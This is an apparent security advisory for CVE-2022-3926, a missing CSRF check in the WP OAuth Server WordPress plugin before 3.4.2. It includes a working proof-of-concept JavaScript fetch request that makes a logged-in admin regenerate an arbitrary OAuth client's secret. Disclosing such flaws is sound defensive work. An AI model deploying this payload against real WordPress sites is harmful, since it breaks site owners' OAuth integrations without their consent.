WP OAuth Server < 3.4.2 – Client Secret Regeneration via CSRF | CVE 2022-3926

Description

The plugin does not have CSRF check when regenerating secrets, which could allow attackers to make logged in admins regenerate the secret of an arbitrary client given they know the client ID

Proof of Concept

Make a logged in admin open a page containing the HTML code below. This will regenerate the secret for the client with ID KCzvPgkQndGfbFy34jfwoxKVCp1VzFhgSZ3PywN7

fetch('https://example.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wo_regenerate_secret&data=KCzvPgkQndGfbFy34jfwoxKVCp1VzFhgSZ3PywN7',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));